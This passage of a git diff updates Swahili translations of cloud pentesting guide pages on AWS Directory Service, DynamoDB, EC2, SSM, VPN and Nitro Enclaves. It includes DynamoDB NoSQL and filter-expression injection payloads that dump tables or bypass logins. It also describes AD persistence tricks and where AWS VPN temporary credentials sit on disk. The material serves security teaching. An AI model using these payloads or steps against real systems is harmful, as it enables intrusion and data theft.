kwamba ikiwa **maelezo** ya directory yana **domain** katika uwanja wa **`AccessUrl`** ni kwa sababu **mtumiaji** anaweza labda **kuingia** na **akidi za AD** katika baadhi ya **AWS services:** +Kumbuka kwamba ikiwa **maelezo** ya directory yana **domain** katika uwanja wa **`AccessUrl`** ni kwa sababu **mtumiaji** anaweza labda **kuingia** kwa kutumia **akidi za AD** katika baadhi ya **huduma za AWS:** - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -55,10 +55,10 @@ Kumbuka kwamba ikiwa **maelezo** ya directory yana **domain** katika uwanja wa * ### Using an AD user -Mtumiaji wa **AD** anaweza kupewa **ufikiaji juu ya AWS management console** kupitia Rol ambayo itachukuliwa. Jina la mtumiaji la **kawaida ni Admin** na inawezekana **kubadilisha nenosiri lake** kutoka AWS console. +Mtumiaji wa **AD** anaweza kupewa **ufikiaji juu ya AWS management console** kupitia Rol ambayo itachukuliwa. **Jina la mtumiaji wa default ni Admin** na inawezekana **kubadilisha nenosiri lake** kutoka kwa AWS console. -Kwa hivyo, inawezekana **kubadilisha nenosiri la Admin**, **kuunda mtumiaji mpya** au **kubadilisha nenosiri** la mtumiaji na kumpa mtumiaji huyo Rol ili kudumisha ufikiaji.\ -Pia inawezekana **kuongeza mtumiaji kwenye kundi ndani ya AD** na **kumpa kundi hilo la AD ufikiaji wa Rol** (ili kufanya kudumu huku kuwa na siri zaidi). +Hivyo, inawezekana **kubadilisha nenosiri la Admin**, **kuunda mtumiaji mpya** au **kubadilisha nenosiri** la mtumiaji na kumpa mtumiaji huyo Rol ili kudumisha ufikiaji.\ +Pia inawezekana **kuongeza mtumiaji katika kundi ndani ya AD** na **kumpa kundi hilo la AD ufikiaji kwa Rol** (ili kufanya kudumu huku kuwa na siri zaidi). ### Sharing AD (from victim to attacker) @@ -75,7 +75,7 @@ Haionekani kuwa inawezekana kutoa ufikiaji wa AWS kwa watumiaji kutoka mazingira Amazon Web Services (AWS) WorkDocs ni huduma ya **hifadhi na ushirikiano wa faili** inayotegemea wingu. Ni sehemu ya suite ya huduma za kompyuta za wingu za AWS na imeundwa kutoa suluhisho salama na linaloweza kupanuka kwa mashirika kuhifadhi, kushiriki, na kushirikiana kwenye faili na hati. -AWS WorkDocs inatoa kiolesura kinachotegemea wavuti kwa watumiaji kupakia, kufikia, na kusimamia faili na hati zao. Pia inatoa vipengele kama udhibiti wa toleo, ushirikiano wa wakati halisi, na uunganisho na huduma nyingine za AWS na zana za wahusika wengine. +AWS WorkDocs inatoa kiolesura kinachotegemea wavuti kwa watumiaji kupakia, kufikia, na kusimamia faili na hati zao. Pia inatoa vipengele kama udhibiti wa toleo, ushirikiano wa wakati halisi, na uunganisho na huduma nyingine za AWS na zana za wahusika wa tatu. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index f2770727d..1145779c7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,19 +6,19 @@ ### Basic Information -Amazon DynamoDB inatolewa na AWS kama **hifadhidata ya NoSQL isiyo na seva, inayosimamiwa kikamilifu, ya funguo-thamani**, iliyoundwa kwa ajili ya kuendesha programu zenye utendaji wa juu bila kujali ukubwa wao. Huduma hii inahakikisha vipengele thabiti ikiwa ni pamoja na hatua za usalama zilizojengwa ndani, nakala zisizokatizwa, ureplication wa kiotomatiki katika maeneo mbalimbali, uhifadhi wa data wa ndani uliojumuishwa, na zana rahisi za kusafirisha data. +Amazon DynamoDB inawasilishwa na AWS kama **hifadhidata ya NoSQL ya funguo-thamani isiyo na seva, inayosimamiwa kikamilifu**, iliyoundwa kwa ajili ya kuendesha programu zenye utendaji wa juu bila kujali ukubwa wao. Huduma hii inahakikisha vipengele thabiti ikiwa ni pamoja na hatua za usalama zilizojengwa ndani, nakala zisizokatizwa, uzalishaji wa kiotomatiki katika maeneo mbalimbali, uhifadhi wa data wa ndani uliojumuishwa, na zana rahisi za kusafirisha data. -Katika muktadha wa DynamoDB, badala ya kuunda hifadhidata ya jadi, **meza zinaanzishwa**. Kila meza inahitaji ufafanuzi wa **funguo ya sehemu** kama sehemu muhimu ya **funguo kuu ya meza**. Funguo hii ya sehemu, kimsingi ni **thamani ya hash**, ina jukumu muhimu katika upatikanaji wa vitu na usambazaji wa data kati ya wenyeji mbalimbali. Usambazaji huu ni muhimu kwa kudumisha upanuzi na upatikanaji wa hifadhidata. Aidha, kuna chaguo la kuingiza **funguo ya kupanga** ili kuboresha zaidi shirika la data. +Katika muktadha wa DynamoDB, badala ya kuunda hifadhidata ya jadi, **meza zinaanzishwa**. Kila meza inahitaji ufafanuzi wa **funguo ya sehemu** kama sehemu muhimu ya **funguo ya msingi ya meza**. Funguo hii ya sehemu, ambayo kimsingi ni **thamani ya hash**, ina jukumu muhimu katika upatikanaji wa vitu na usambazaji wa data kati ya wenyeji mbalimbali. Usambazaji huu ni muhimu kwa kudumisha upanuzi na upatikanaji wa hifadhidata. Aidha, kuna chaguo la kuingiza **funguo ya kupanga** ili kuboresha zaidi shirika la data. ### Encryption -Kwa kawaida, DynamoDB inatumia funguo ya KMS ambayo \*\*ni ya Amazon DynamoDB,\*\* hata si funguo inayosimamiwa na AWS ambayo angalau inamilikiwa na akaunti yako. +Kwa kawaida, DynamoDB inatumia funguo ya KMS ambayo **inamilikiwa na Amazon DynamoDB,** hata si funguo inayosimamiwa na AWS ambayo angalau inamilikiwa na akaunti yako.
### Backups & Export to S3 -Inawezekana **kuandaa** uzalishaji wa **nakala za meza** au kuziunda kwa **mahitaji**. Aidha, inawezekana pia kuwezesha **Urejeleaji wa wakati (PITR) kwa meza.** Urejeleaji wa wakati unatoa **nakala** za data zako za DynamoDB kwa **siku 35** ili kusaidia kulinda dhidi ya shughuli za kuandika au kufuta zisizokusudiwa. +Inawezekana **kuandaa** uzalishaji wa **nakala za meza** au kuziunda kwa **ombwe**. Aidha, inawezekana pia kuwezesha **Urejeleaji wa wakati (PITR) kwa meza.** Urejeleaji wa wakati unatoa **nakala** za data zako za DynamoDB kwa **siku 35** ili kusaidia kulinda dhidi ya shughuli za kuandika au kufuta zisizokusudiwa. Pia inawezekana kusafirisha **data ya meza kwenda S3**, lakini meza inahitaji kuwa na **PITR iliyoanzishwa**. @@ -65,7 +65,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Baada ya Kutekeleza +### Baada ya Utekelezaji {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -81,7 +81,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ### SQL Injection -Kuna njia za kufikia data za DynamoDB kwa kutumia **sintaksia ya SQL**, hivyo basi, **injections za SQL za kawaida pia zinaweza** kutokea. +Kuna njia za kufikia data za DynamoDB kwa kutumia **sintaksia ya SQL**, hivyo basi, **injections za SQL za kawaida pia zinaweza kutokea**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection @@ -89,13 +89,13 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL Injection -Katika DynamoDB masharti tofauti yanaweza kutumika kupata data, kama katika NoSQL Injection ya kawaida ikiwa inawezekana **kuunganisha masharti zaidi ili kupata** data unaweza kupata data iliyofichwa (au kupakua jedwali lote).\ +Katika DynamoDB masharti tofauti yanaweza kutumika kupata data, kama katika NoSQL Injection ya kawaida ikiwa inawezekana **kuunganisha masharti zaidi ili kupata** data unaweza kupata data iliyofichwa (au kupakua jedwali zima).\ Unaweza kupata hapa masharti yanayoungwa mkono na DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Kumbuka kwamba **masharti tofauti** yanayoungwa mkono ikiwa data inapatikana kupitia **`query`** au kupitia **`scan`**. +Kumbuka kwamba **masharti tofauti** yanayoungwa mkono ikiwa data inafikiwa kupitia **`query`** au kupitia **`scan`**. > [!NOTE] -> Kwa kweli, hatua za **Query** zinahitaji kubainisha **sharti "EQ" (sawa)** katika **funguo** ya **msingi** ili kufanya kazi, na kufanya iwe **hasi uwezekano wa NoSQL injections** (na pia kufanya operesheni kuwa na mipaka sana). +> Kwa kweli, hatua za **Query** zinahitaji kubainisha **sharti "EQ" (sawa)** katika **funguo** ya **msingi** ili kufanya kazi, na kufanya iwe **hasi uwezekano wa NoSQL injections** (na pia kufanya operesheni hiyo kuwa na mipaka sana). Ikiwa unaweza **kubadilisha kulinganisha** kunakofanywa au kuongeza mpya, unaweza kupata data zaidi. ```bash @@ -108,12 +108,12 @@ Ikiwa unaweza **kubadilisha kulinganisha** kunakofanywa au kuongeza mpya, unawez https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} -### Raw Json injection +### Uingizaji wa Raw Json > [!CAUTION] -> **Uthibitisho huu unategemea dynamodb Scan Filter ambayo sasa imeondolewa!** +> **Udhaifu huu unategemea dynamodb Scan Filter ambayo sasa imeondolewa!** -**DynamoDB** inakubali **Json** vitu ili **kutafuta** data ndani ya DB. Ikiwa unapata kuwa unaweza kuandika katika kitu cha json kilichotumwa kutafuta, unaweza kufanya DB dump, maudhui yote. +**DynamoDB** inakubali **Json** vitu kutafuta data ndani ya DB. Ikiwa unapata kuwa unaweza kuandika katika kitu cha json kilichotumwa kutafuta, unaweza kufanya dump ya DB, maudhui yote. Kwa mfano, kuingiza katika ombi kama: ```bash @@ -123,7 +123,7 @@ mshambuliaji anaweza kuingiza kitu kama: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -sahihisha hali ya "EQ" ikitafuta ID 1000 na kisha kutafuta data zote zikiwa na mfuatano wa Id kubwa zaidi ya 0, ambayo ni zote. +rekebisha hali ya "EQ" ikitafuta ID 1000 na kisha kutafuta data zote zikiwa na mfuatano wa Id kubwa zaidi ya 0, ambayo ni yote. Mfano mwingine **ulio hatarini ukitumia kuingia** unaweza kuwa: ```python @@ -141,7 +141,7 @@ scan_filter = """{ dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` -Hii itakuwa hatarini kwa: +Hii itakuwa na hatari ya: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none @@ -152,9 +152,9 @@ Baadhi ya SDKs zinaruhusu kutumia mfuatano unaoashiria uchujaji utakaofanywa kam ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -Unahitaji kujua kwamba kutafuta katika DynamoDB kwa **kubadilisha** thamani ya **sifa** katika **maelezo ya filtria** wakati wa kusoma vitu, tokeni zinapaswa **kuanza** na herufi ya **`:`**. Tokeni hizo zitabadilishwa na thamani halisi ya **sifa wakati wa wakati wa kutekeleza**. +Unahitaji kujua kwamba kutafuta katika DynamoDB kwa **kubadilisha** thamani ya **sifa** katika **maelezo ya filtr** wakati wa kusoma vitu, alama zinapaswa **kuanza** na herufi ya **`:`**. Alama hizo zitabadilishwa na **thamani halisi ya sifa wakati wa wakati wa kutekeleza**. -Hivyo, kuingia kama ile ya awali inaweza kupuuziliwa mbali na kitu kama: +Hivyo, kuingia kama ile ya awali inaweza kupuuziliwa mbali kwa kitu kama: ```bash :username = :username or :username # This will generate the query: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 86117628f..6d852a9a3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 inatumika kwa kuanzisha **seva za virtual**. Inaruhusu usanidi wa **usalama** na **mtandao** na usimamizi wa **hifadhi**. Uwezo wa Amazon EC2 kuweza kupanua rasilimali kwa juu na chini unaonyesha kubadilika kwake, ikibadilika kwa ufanisi na mabadiliko ya mahitaji au ongezeko la umaarufu. Kipengele hiki kinapunguza hitaji la makadirio sahihi ya trafiki. +Amazon EC2 inatumika kwa kuanzisha **seva za virtual**. Inaruhusu usanidi wa **usalama** na **mtandao** na usimamizi wa **hifadhi**. Uwezo wa Amazon EC2 unaonekana katika uwezo wake wa kupanua rasilimali kwa juu na chini, ikibadilika kwa ufanisi na mabadiliko ya mahitaji au ongezeko la umaarufu. Kipengele hiki kinapunguza hitaji la makadirio sahihi ya trafiki. Mambo ya kuvutia kuhesabu katika EC2: @@ -22,20 +22,20 @@ Mambo ya kuvutia kuhesabu katika EC2: - EC2/AMIs/Snapshots zilizopo - Mtandao - Mitandao -- Mitandao ya Ndani +- Mitandao ndogo - IP za Umma -- Bandari za wazi +- Porti za wazi - Mifumo ya kuunganishwa na mitandao mingine nje ya AWS -### Instance Profiles +### Profaili za Kigezo -Kutumia **roles** kutoa ruhusa kwa programu zinazotembea kwenye **EC2 instances** kunahitaji usanidi wa ziada kidogo. Programu inayotembea kwenye EC2 instance imejificha kutoka AWS na mfumo wa uendeshaji wa virtualized. Kwa sababu ya kutenganishwa kwa ziada, unahitaji hatua ya ziada kutoa AWS role na ruhusa zake zinazohusiana kwa EC2 instance na kuzifanya zipatikane kwa programu zake. +Kutumia **majukumu** kutoa ruhusa kwa programu zinazotembea kwenye **EC2 instances** kunahitaji usanidi wa ziada kidogo. Programu inayotembea kwenye EC2 instance inatengwa kutoka AWS na mfumo wa uendeshaji wa virtualized. Kwa sababu ya kutengwa kwa ziada, unahitaji hatua ya ziada kutoa jukumu la AWS na ruhusa zake zinazohusiana kwa EC2 instance na kuzipatia programu zake. -Hatua hii ya ziada ni **kuunda** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) iliyounganishwa na instance. **Instance profile ina role na** inaweza kutoa akreditif za muda za role kwa programu inayotembea kwenye instance. Akreditif hizo za muda zinaweza kutumika katika wito wa API wa programu kupata rasilimali na kupunguza ufikiaji kwa rasilimali hizo pekee ambazo role inabainisha. Kumbuka kwamba **role moja tu inaweza kutolewa kwa EC2 instance** kwa wakati mmoja, na programu zote kwenye instance zinashiriki role na ruhusa sawa. +Hatua hii ya ziada ni **kuunda** [_**profaili ya kigezo**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) iliyounganishwa na instance. **Profaili ya kigezo ina jukumu na** inaweza kutoa akreditivu za muda za jukumu kwa programu inayotembea kwenye instance. Akreditivu hizo za muda zinaweza kutumika katika wito wa API wa programu kupata rasilimali na kupunguza ufikiaji kwa rasilimali hizo pekee ambazo jukumu linakagua. Kumbuka kwamba **jukumu moja tu linaweza kutolewa kwa EC2 instance** kwa wakati mmoja, na programu zote kwenye instance zinashiriki jukumu na ruhusa sawa. ### Metadata Endpoint -AWS EC2 metadata ni taarifa kuhusu Amazon Elastic Compute Cloud (EC2) instance ambayo inapatikana kwa instance wakati wa utendaji. Metadata hii inatumika kutoa taarifa kuhusu instance, kama vile kitambulisho chake cha instance, eneo la upatikanaji ambalo linafanya kazi, role ya IAM inayohusiana na instance, na jina la mwenyeji wa instance. +AWS EC2 metadata ni taarifa kuhusu Amazon Elastic Compute Cloud (EC2) instance ambayo inapatikana kwa instance wakati wa utendaji. Metadata hii inatumika kutoa taarifa kuhusu instance, kama vile kitambulisho chake cha instance, eneo la upatikanaji ambalo linafanya kazi, jukumu la IAM lililohusishwa na instance, na jina la mwenyeji wa instance. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -141,7 +141,7 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za EC2 kuonge ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Baada ya Kutekeleza +### Baada ya Utekelezaji {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -149,11 +149,11 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za EC2 kuonge ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** kimsingi ni **backup** za kudumu za AWS EBS volumes. Kwa maneno mengine, ni **nakala** za **diski** zilizounganishwa na **EC2** Instance katika wakati maalum. EBS snapshots zinaweza kunakiliwa kati ya mikoa na akaunti, au hata kupakuliwa na kuendesha kwa ndani. +Amazon **EBS** (Elastic Block Store) **snapshots** kimsingi ni **backup** za kudumu za volumes za AWS EBS. Kwa maneno mengine, ni **nakala** za **diski** zilizounganishwa na **EC2** Instance katika wakati maalum. EBS snapshots zinaweza kunakiliwa kati ya mikoa na akaunti, au hata kupakuliwa na kuendesha kwa ndani. -Snapshots zinaweza kuwa na **habari nyeti** kama vile **msimbo wa chanzo au funguo za API**, kwa hivyo, ikiwa una nafasi, inashauriwa kuangalia. +Snapshots zinaweza kuwa na **habari nyeti** kama vile **msimbo wa chanzo au funguo za API**, kwa hivyo, ikiwa una nafasi, inapendekezwa kuangalia. -### Tofauti AMI & EBS +### Tofauti kati ya AMI na EBS **AMI** inatumika ku **anzisha EC2 instance**, wakati **Snapshot** ya EC2 inatumika ku **backup na kurejesha data iliyohifadhiwa kwenye EBS volume**. Ingawa Snapshot ya EC2 inaweza kutumika kuunda AMI mpya, si sawa na AMI, na haijumuishi habari kuhusu mfumo wa uendeshaji, seva ya programu, au programu nyingine zinazohitajika kuendesha programu. @@ -182,7 +182,7 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` -Unaweza kuangalia katika mfano wa EC2 ikiwa Systems Manager inafanya kazi kwa kutekeleza: +Unaweza kuangalia katika mfano wa EC2 ikiwa Systems Manager inafanya kazi kwa kutekeleza tu: ```bash ps aux | grep amazon-ssm ``` @@ -196,7 +196,7 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za SSM ili ## ELB -**Elastic Load Balancing** (ELB) ni huduma ya **kugawa mzigo kwa ajili ya Amazon Web Services** (AWS) deployments. ELB kiotomatiki **huhamisha trafiki ya programu inayokuja** na kuimarisha rasilimali ili kukidhi mahitaji ya trafiki. +**Elastic Load Balancing** (ELB) ni huduma ya **kugawa mzigo kwa ajili ya Amazon Web Services** (AWS) deployments. ELB kiotomatiki **hugawa trafiki ya programu inayokuja** na kuimarisha rasilimali ili kukidhi mahitaji ya trafiki. ### Enumeration ```bash @@ -209,9 +209,9 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` -## Mifano ya Uzinduzi & Vikundi vya Kujiendesha +## Mifano ya Uzinduzi & Vikundi vya Autoscaling -### Hesabu +### Uhesabu ```bash # Launch templates aws ec2 describe-launch-templates @@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitro ni seti ya **teknolojia bunifu** ambazo zinaunda jukwaa la msingi kwa ajili ya AWS EC2 instances. Ilianzishwa na Amazon ili **kuimarisha usalama, utendaji, na uaminifu**, Nitro inatumia **vipengele vya vifaa maalum na hypervisor nyepesi**. Inatoa muonekano wa kazi nyingi za kawaida za virtualization kwa vifaa na programu maalum, **ikiweka chini uso wa shambulio** na kuboresha ufanisi wa rasilimali. Kwa kuhamasisha kazi za virtualization, Nitro inaruhusu EC2 instances kutoa **utendaji wa karibu na vifaa vya chuma**, na kufanya iwe na manufaa hasa kwa programu zinazohitaji rasilimali nyingi. Zaidi ya hayo, Chip ya Usalama ya Nitro inahakikisha **usalama wa vifaa na firmware**, ikiongeza nguvu ya usanifu wake. +AWS Nitro ni seti ya **teknolojia bunifu** ambazo zinaunda jukwaa la msingi kwa ajili ya AWS EC2 instances. Ilianzishwa na Amazon ili **kuimarisha usalama, utendaji, na uaminifu**, Nitro inatumia **vipengele vya vifaa maalum na hypervisor nyepesi**. Inatoa muonekano wa kazi nyingi za kawaida za virtualization kwa vifaa na programu maalum, **ikiweka chini uso wa shambulio** na kuboresha ufanisi wa rasilimali. Kwa kuhamasisha kazi za virtualization, Nitro inaruhusu EC2 instances kutoa **utendaji wa karibu na chuma tupu**, na kufanya iwe na manufaa hasa kwa programu zinazohitaji rasilimali nyingi. Zaidi ya hayo, Chip ya Usalama ya Nitro inahakikisha **usalama wa vifaa na firmware**, ikiongeza nguvu ya usanifu wake. Pata maelezo zaidi na jinsi ya kuhesabu kutoka: @@ -249,17 +249,17 @@ VPN inaruhusu kuunganisha **mtandao wako wa ndani (site-to-site VPN)** au **komp - Inatumika kama alama ya kurejelea kwa kuanzisha muunganisho wa VPN na haina gharama za ziada. 2. **Virtual Private Gateway**: - Virtual Private Gateway (VPG) ni mkusanyiko wa VPN upande wa Amazon wa muunganisho wa Site-to-Site VPN. -- Inahusishwa na VPC yako na inatumika kama lengo la muunganisho wako wa VPN. -- VPG ni mwisho wa upande wa AWS kwa muunganisho wa VPN. -- Inashughulikia mawasiliano salama kati ya VPC yako na mtandao wako wa ndani. +- Inashikamana na VPC yako na inatumika kama lengo la muunganisho wako wa VPN. +- VPG ni mwisho wa AWS kwa muunganisho wa VPN. +- Inasimamia mawasiliano salama kati ya VPC yako na mtandao wako wa ndani. 3. **Site-to-Site VPN Connection**: - Muunganisho wa Site-to-Site VPN unachanganya mtandao wako wa ndani na VPC kupitia tunnel salama ya IPsec VPN. - Aina hii ya muunganisho inahitaji Customer Gateway na Virtual Private Gateway. - Inatumika kwa mawasiliano salama, thabiti, na ya kawaida kati ya kituo chako cha data au mtandao na mazingira yako ya AWS. - Kawaida inatumika kwa muunganisho wa kawaida, wa muda mrefu na inatozwa kulingana na kiasi cha data kinachohamishwa kupitia muunganisho. 4. **Client VPN Endpoint**: -- Client VPN endpoint ni rasilimali unayounda katika AWS ili kuwezesha na kusimamia vikao vya client VPN. -- Inatumika kwa kuruhusu vifaa binafsi (kama kompyuta za mkononi, simu za mkononi, nk.) kuungana kwa usalama na rasilimali za AWS au mtandao wako wa ndani. +- Client VPN endpoint ni rasilimali unayounda katika AWS ili kuwezesha na kusimamia vikao vya VPN vya wateja. +- Inatumika kuruhusu vifaa binafsi (kama vile kompyuta za mkononi, simu za mkononi, nk.) kuungana kwa usalama na rasilimali za AWS au mtandao wako wa ndani. - Inatofautiana na Site-to-Site VPN kwa kuwa imeundwa kwa wateja binafsi badala ya kuunganisha mitandao yote. - Kwa Client VPN, kila kifaa cha mteja kinatumia programu ya mteja wa VPN kuanzisha muunganisho salama. @@ -293,13 +293,13 @@ aws ec2 describe-vpn-connections **Local Temporary Credentials** -Wakati mteja wa AWS VPN anapotumika kuungana na VPN, mtumiaji kwa kawaida **anaingia katika AWS** ili kupata ufikiaji wa VPN. Kisha, baadhi ya **akikazi za AWS zinaundwa na kuhifadhiwa** kwa ndani ili kuanzisha muunganisho wa VPN. Akikazi hizi **zinahifadhiwa katika** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` na zina **AccessKey**, **SecretKey** na **Token**. +Wakati mteja wa AWS VPN anapotumika kuungana na VPN, mtumiaji kwa kawaida **anajiandikisha katika AWS** ili kupata ufikiaji wa VPN. Kisha, baadhi ya **AWS credentials zinaundwa na kuhifadhiwa** kwa ndani ili kuanzisha muunganisho wa VPN. Hizi credentials **zinahifadhiwa katika** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` na zina **AccessKey**, **SecretKey** na **Token**. -Akikazi zinamhusu mtumiaji `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: tafiti zaidi kuhusu ruhusa za akika hizi). +Credentials hizo ni za mtumiaji `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: tafiti zaidi kuhusu ruhusa za credentials hizi). **opvn config files** -Ikiwa **muunganisho wa VPN umeanzishwa** unapaswa kutafuta **faili za config `.opvn`** katika mfumo. Zaidi ya hayo, mahali ambapo unaweza kupata **mipangilio** ni katika **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** +Ikiwa **muunganisho wa VPN umeanzishwa** unapaswa kutafuta **`.opvn`** config files katika mfumo. Zaidi ya hayo, mahali ambapo unaweza kupata **configurations** ni katika **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** #### **Post Exploitaiton** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index d3b84085a..52f82ecff 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,14 +4,14 @@ ## Basic Information -AWS Nitro ni seti ya **teknolojia bunifu** ambazo zinaunda jukwaa la msingi kwa ajili ya AWS EC2 instances. Ilianzishwa na Amazon ili **kuimarisha usalama, utendaji, na uaminifu**, Nitro inatumia **vipengele vya vifaa maalum na hypervisor nyepesi**. Inatoa muonekano wa kazi nyingi za kawaida za virtualization kwa vifaa na programu maalum, **ikiweka chini uso wa shambulio** na kuboresha ufanisi wa rasilimali. Kwa kuhamasisha kazi za virtualization, Nitro inaruhusu EC2 instances kutoa **utendaji wa karibu wa chuma tupu**, na kuifanya kuwa na manufaa hasa kwa programu zinazohitaji rasilimali nyingi. Zaidi ya hayo, Chip ya Usalama ya Nitro inahakikisha **usalama wa vifaa na firmware**, ikiongeza nguvu ya usanifu wake. +AWS Nitro ni seti ya **teknolojia bunifu** ambazo zinaunda jukwaa la msingi kwa ajili ya AWS EC2 instances. Ilianzishwa na Amazon ili **kuimarisha usalama, utendaji, na uaminifu**, Nitro inatumia **vipengele vya vifaa maalum na hypervisor nyepesi**. Inatoa muonekano wa kazi nyingi za kawaida za virtualization kwa vifaa na programu maalum, **ikiweka chini uso wa shambulio** na kuboresha ufanisi wa rasilimali. Kwa kuhamasisha kazi za virtualization, Nitro inaruhusu EC2 instances kutoa **utendaji wa karibu wa chuma**, na kufanya iwe faida hasa kwa programu zinazohitaji rasilimali nyingi. Zaidi ya hayo, Chip ya Usalama ya Nitro inahakikisha **usalama wa vifaa na firmware**, ikiongeza nguvu ya usanifu wake. ### Nitro Enclaves -**AWS Nitro Enclaves** inatoa mazingira salama, **ya kutengwa ya kompyuta ndani ya Amazon EC2 instances**, iliyoundwa mahsusi kwa ajili ya kushughulikia data nyeti sana. Kwa kutumia Mfumo wa AWS Nitro, maeneo haya yanahakikisha **kutengwa na usalama** mzuri, bora kwa **kushughulikia taarifa za siri** kama PII au rekodi za kifedha. Yana sifa ya mazingira ya kimsingi, ikipunguza kwa kiasi kikubwa hatari ya kufichuliwa kwa data. Zaidi ya hayo, Nitro Enclaves inasaidia uthibitisho wa kificho, ikiruhusu watumiaji kuthibitisha kwamba ni msimbo tu ulioidhinishwa unakimbia, muhimu kwa kudumisha ufuatiliaji mkali na viwango vya ulinzi wa data. +**AWS Nitro Enclaves** inatoa mazingira salama ya **kazi yaliyotengwa ndani ya Amazon EC2 instances**, yaliyoundwa mahsusi kwa ajili ya kushughulikia data nyeti sana. Kwa kutumia Mfumo wa AWS Nitro, maeneo haya yanahakikisha **kutengwa na usalama** mzuri, bora kwa **kushughulikia taarifa za siri** kama PII au rekodi za kifedha. Yanajumuisha mazingira ya minimalist, ambayo hupunguza kwa kiasi kikubwa hatari ya kufichuliwa kwa data. Zaidi ya hayo, Nitro Enclaves inasaidia uthibitisho wa kificho, ikiruhusu watumiaji kuthibitisha kwamba ni msimbo tu ulioidhinishwa unakimbia, muhimu kwa kudumisha ufuatiliaji mkali na viwango vya ulinzi wa data. > [!CAUTION] -> Picha za Nitro Enclave **zinakimbia kutoka ndani ya EC2 instances** na huwezi kuona kutoka kwenye konsole ya wavuti ya AWS kama EC2 instances inakimbia picha katika Nitro Enclave au la. +> Picha za Nitro Enclave **zinakimbia kutoka ndani ya EC2 instances** na huwezi kuona kutoka kwenye console ya wavuti ya AWS kama EC2 instances inakimbia picha katika Nitro Enclave au la. ## Nitro Enclave CLI installation @@ -39,7 +39,7 @@ Picha ambazo unaweza kuendesha katika Nitro Enclave zinategemea picha za docker, # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` -Kama unavyoona, picha za Nitro Enclave zinatumia kiambatisho **`eif`** (Faili ya Picha ya Enclave). +Kama unavyoona, picha za Nitro Enclave zinatumia kiendelezi **`eif`** (Enclave Image File). Matokeo yataonekana kama: ``` @@ -54,16 +54,16 @@ Enclave Image successfully created. } } ``` -### Run an Image +### Kimbia Picha -Kulingana na [**nyaraka**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), ili kuendesha picha ya enclave unahitaji kuipatia kumbukumbu ya **angalau mara 4 ya ukubwa wa faili ya `eif`**. Inawezekana kuweka rasilimali za default za kuzipatia katika faili +Kulingana na 